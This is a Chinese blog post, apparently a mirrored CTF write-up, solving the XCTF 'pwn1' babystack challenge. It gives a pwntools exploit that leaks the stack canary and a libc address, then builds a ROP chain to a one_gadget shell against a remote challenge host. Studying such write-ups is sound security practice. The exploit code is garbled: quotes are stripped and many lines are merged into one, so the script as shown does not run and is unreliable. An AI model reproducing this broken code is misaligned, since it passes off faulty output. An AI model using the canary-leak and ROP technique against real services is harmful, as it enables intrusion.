首页 > 其他 > 详细

攻防世界pwn高手区——pwn1

时间:2020-07-09 09:04:39      阅读:84      评论:0      收藏:0      [点我收藏+]

攻防世界 —— pwn1

攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

题目流程

技术分享图片

 

拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

技术分享图片

 

解题思路

程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

技术分享图片

exp如下所示:

from pwn import *
context.log_level=debug
DEBUG=0
if DEBUG:
    io=process(./babystack)
else:
    io=remote(220.249.52.133,30008)

elf=ELF(./babystack)
libc=ELF(./libc-2.23.so)
get_shell=0x45216
#onegadget的地址
read_plt
=elf.plt[read] write_plt=elf.plt[write] puts_plt=elf.plt[puts] puts_got=elf.got[puts] puts_off=libc.sym[puts] pop_rdi_ret=0x400a93 pppppp_ret=0x400A8A movret=0x400a70 main_addr=0x400909 io.recv() io.sendline(str(1)) payload=a*0x88+\n‘ #这里‘\n‘覆写Canary最低字节 io.send(payload) io.recv() io.sendline(str(2)) io.recvuntil(a*0x88) Canary=u64(io.recv(8))-0xa #泄露出Canary print("Canary:{}".format(hex(Canary))) io.recv() io.sendline(str(1)) payload=a*0x88+p64(Canary)+aaaaaaaa+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址 io.send(payload) io.sendafter(>> ,str(3)) puts_addr=u64(io.recv(8).ljust(8,\x00)) libc_addr=puts_addr-libc.symbols[puts] execve_addr=libc_addr+0x45216 print("puts_addr:{}".format(hex(puts_addr))) print("libc_addr:{}".format(hex(libc_addr))) print("execve_addr:{}".format(hex(execve_addr))) payload=a*0x88+p64(Canary)+aaaaaaaa+p64(execve_addr) #ret2One_gadget io.sendlineafter(>> ,str(1)) io.send(payload) io.sendlineafter(>> ,str(3)) io.interactive()

 

攻防世界pwn高手区——pwn1

原文:https://www.cnblogs.com/L0g4n-blog/p/13270308.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!